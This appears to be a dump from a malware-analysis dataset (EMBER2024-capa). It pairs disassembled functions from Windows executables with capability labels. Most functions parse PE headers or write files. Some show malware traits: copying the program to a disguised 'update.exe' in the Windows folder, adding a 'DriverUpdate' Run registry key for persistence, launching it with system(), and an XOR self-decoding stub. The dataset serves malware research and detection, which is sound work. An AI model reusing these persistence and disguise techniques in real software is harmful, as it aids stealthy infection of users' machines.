joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002ab0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002afd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002af4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002aff
add rax, 0x28
cmp rax, r9
jne 0x140002ae0
xor eax, eax
ret

Function at 0x140002b00
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002b90
mov rdx, qword [0x140069ed0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002b7e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002b7e
cmp word [rax + 0x18], 0x20b
jne 0x140002b7e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002b90
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002b69
add rbx, 0x28
cmp rbx, rdi
je 0x140002b90
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002b60
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002ba0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140069ed0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002bc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002bc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002bc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002c1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002c14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002bc0
add rax, 0x28
cmp rax, r9
jne 0x140002c00
xor eax, eax
ret

Function at 0x140002c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140069ed0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002c3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002c48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002c3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002c60
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140069ed0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002c80
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002c88
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002c80
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002cd0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002cc7
test rcx, rcx
je 0x140002c80
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002cb8
xor eax, eax
ret
Function at 0x140002ce0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140069ed0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002cff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002d08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140069ed0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002d40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002d48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002d40
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002d40
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002d94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002da0
add rdx, 0x28
cmp rdx, r9
jne 0x140002d80
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002db0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140069ed0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002dd2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002de0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002dd2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002dd2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002dd2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002e35
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002e48
add rdx, 0x28
cmp r10, rdx
jne 0x140002e20
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002e57
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002e67
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002e3e
test ecx, ecx
jg 0x140002e50
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001320
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub rsp, 0x178
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400014d3
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, socket
lea rdx, str.C:Windowsupdate.exe
lea rcx, [rsp + 0x30]
call fcn.140004840
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000148e
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140003f10
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x58]
call fcn.140003d00
test rax, rax
jne 0x140001424
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x50]
call fcn.140001f80
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140001474
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000146f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000146f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005558
mov al, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140005260
add rsp, 0x178
ret
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400014d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005558
xor al, al
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140005260
add rsp, 0x178
ret
Function at 0x1400014f0
Capabilities:
Copy file

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, socket
lea rdx, str.C:Windowsupdate.exe
lea rcx, [rsp + 0x20]
call fcn.140004840
nop
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rdx, qword [rsp + 0x20]
xor r8d, r8d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000159b
lea rbx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rbx, qword [rsp + 0x20]
lea rdx, str.Executable_copied_to:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004130
mov rcx, rax
mov rdx, rbx
call fcn.140004130
jmp 0x1400015c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_copy_executable._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140004130
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140004310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140001617
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001612
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001612
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005558
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140005260
add rsp, 0x260
pop rbx
ret
Function at 0x140001ab0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001f30
int3

Function at 0x140002110
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edi, edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rdi
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
jne 0x1400021b4
mov rcx, qword [rsp + 0x50]
lea rax, str._windir_update.exe
mov dword [rsp + 0x28], 0x28
lea r9d, [rdi + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DriverUpdate
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400021ad
lea rcx, str.Registry_key_added_successfully._n
call fcn.140001020
jmp 0x140002249
mov edx, eax
jmp 0x14000223d
mov edx, ebx
lea rcx, str.Error_creating_registry_key._Error_code:__d_n
call fcn.140001020
lea rcx, str.Trying_in_HKEY_CURRENT_USER.__n
call fcn.140001020
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002254
mov rcx, qword [rsp + 0x50]
lea rax, str._windir_update.exe
mov dword [rsp + 0x28], 0x28
lea rdx, str.DriverUpdate
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, ebx
lea rcx, str.Error_adding_registry_key_value._Error_code:__d_n
call fcn.140001020
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005260
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x140002270
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rdi, rcx
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x30]
xor esi, esi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
test eax, eax
je 0x1400023f1
mov qword [rsp + 0x168], rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x170], rbp
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], sil
jne 0x1400022e3
movabs rbp, 0x7fffffffffffffff
cmp rbx, rbp
ja 0x140002421
cmp rbx, 0xf
ja 0x14000232a
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x30]
mov qword [rdi + 0x18], recv
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], sil
jmp 0x1400023bd
mov rax, rbx
or rax, 0xf
cmp rax, rbp
jbe 0x14000235f
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000551c
test rax, rax
je 0x14000238a
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000239e
mov ecx, socket
mov rbp, rax
cmp rax, rcx
cmovb rbp, rcx
lea rcx, [rbp + 1]
cmp rcx, 0x1000
jb 0x140002391
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002427
jmp 0x140002344
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000239e
call fcn.14000551c
mov rsi, rax
mov r8, rbx
mov qword [rdi], rsi
lea rdx, [rsp + 0x30]
mov qword [rdi + 0x10], rbx
mov rcx, rsi
mov qword [rdi + 0x18], rbp
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rbx, qword [rsp + 0x168]
mov rax, rdi
mov rbp, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140005260
mov rsi, qword [rsp + 0x178]
add rsp, 0x150
pop rdi
ret
mov ecx, 0x20
call fcn.14000551c
mov qword [rdi], rax
mov qword [rdi + reloc.WS2_32.dll_recv], 0x10
mov qword [rdi + 0x18], 0x1f
movups xmm0, xmmword [str.errorGettingUser]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], sil
mov rax, rdi
jmp 0x1400023d0
call fcn.140001240
int3
call fcn.1400011a0
int3
Function at 0x140003620
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000364d
xor eax, eax
jmp 0x1400037b9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003687
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003687
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400037b9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400037ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400036ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400036f5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037b1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003764
sub eax, 1
je 0x140003764
cmp eax, 2
jne 0x1400037ac
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037b1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003792
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400037ac
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037b1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005260
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003c10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003ce3
cmp byte [rcx + 0x71], 0
je 0x140003ce3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140003cdf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003ca4
sub eax, 1
je 0x140003ca8
cmp eax, 2
jne 0x140003cdf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005260
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003cd6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140003cdf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140003c8c
xor al, al
jmp 0x140003c8c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005260
add rsp, 0x60
pop rbx
ret

Function at 0x140005cf8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005d42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005d42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005d42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005d42
cmp dword [rcx + 0x84], 0xe
jbe 0x140005d42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005d44
xor al, al
add rsp, 0x28
ret
Function at 0x140ea3e1c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140ea3e26
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140ea3e4f
pop rbp
sub rbp, 0x33
sub rbp, 0xea3e1c
sub rsp, 0x20
jmp 0x140ea3e6e
add byte [rdx + 0x66], ah
ret
mov rax, 0xea3e1c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x2bfbb0
xor byte [rax], dl
inc rax
dec rcx
jne 0x140ea3e8d
jmp 0x140ea3ea4
clc
cmp dword [rcx + 0x3b], ebx
cmp dword [rax + rsi*4 + 0x31f8b0b0], ecx
jno 0x140ea3e69
mov cl, 0xb0
mov al, 0xf8
mov cl, 0x59
pop rcx
clc
ja 0x140ea3f2a
mov eax, 0xf8b0b0b0
ja 0x140ea3f33
cwde
mov al, 0xb0
mov al, 0xf8
push r10
clc
mov cl, 0x71
cmp esi, dword [rcx]
mov esp, 0xf8b0b0b0
mov al, 0xf8
mov cl, 0x58
loopne 0x140ea3eb6
clc
or byte [rsi + rdx*2 - 0x67], dh
mov al, 0xb0
mov al, 0xb0
mov al, 0xf8
or esi, esp
out 0x70, eax
mov al, 0xb0
mov al, 0xb0
mov al, 0xf8
mov cl, 0x59
clc
or al, bh
or r13, qword [r15 - 0x50]
mov al, 0xb0
mov al, 0x58
mov ch, 0xb0
mov al, 0xb0
pop rcx
cmpsb byte [rsi], byte [rdi]
mov al, 0xb0
mov al, 0x71
pop rax
mov dl, 0x81
movabs eax, dword [0xf8b0b0b0b47131f8]
js 0x140ea3ed0
xor eax, 0x4f4f4f5e
jae 0x140ea3f00
invalid
mov al, 0xb0
mov al, 0xb0
mov al, 0xf8
mov cl, 0x59
pop rax
mov ch, 0xb0
mov al, 0xb0
pop rcx
cmp eax, 0xe2b0b0b2
pop rax
int 0xb0
mov al, 0xb0
invalid
Function at 0x14000bcd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14000bd50
cmp r11, r10
ja 0x14000bdc7
cmp r10, rdx
ja 0x14000bdd9
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x14000bd52
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14000bd30
jmp 0x14000bdb4
ja 0x14000bd5a
mov r11, r10
cmp rax, r8
jne 0x14000bcfe
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14000bd90
mov rdi, r8
sub ecx, edx
jns 0x14000bdab
jmp 0x14000bdb6
cmp r8, rsi
je 0x14000bde8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14000bdb6
xor al, 1
cmp rdi, rsi
jne 0x14000bd70
jmp 0x14000bdb6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140009d60
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140009250
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14000a9c0
int3
Function at 0x1400199d0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x1400199f5
cmp rax, rcx
je 0x1400199fb
cmp rdx, 4
jae 0x1400199ff
xor eax, eax
xor r8d, r8d
jmp 0x140019a90
pop rbp
jmp fcn.140008d70
xor eax, eax
pop rbp
ret
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140059a20]
movdqa xmm3, xmmword [0x140059a30]
pxor xmm1, xmm1
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140019a20
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140019aa7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140019a90
pop rbp
ret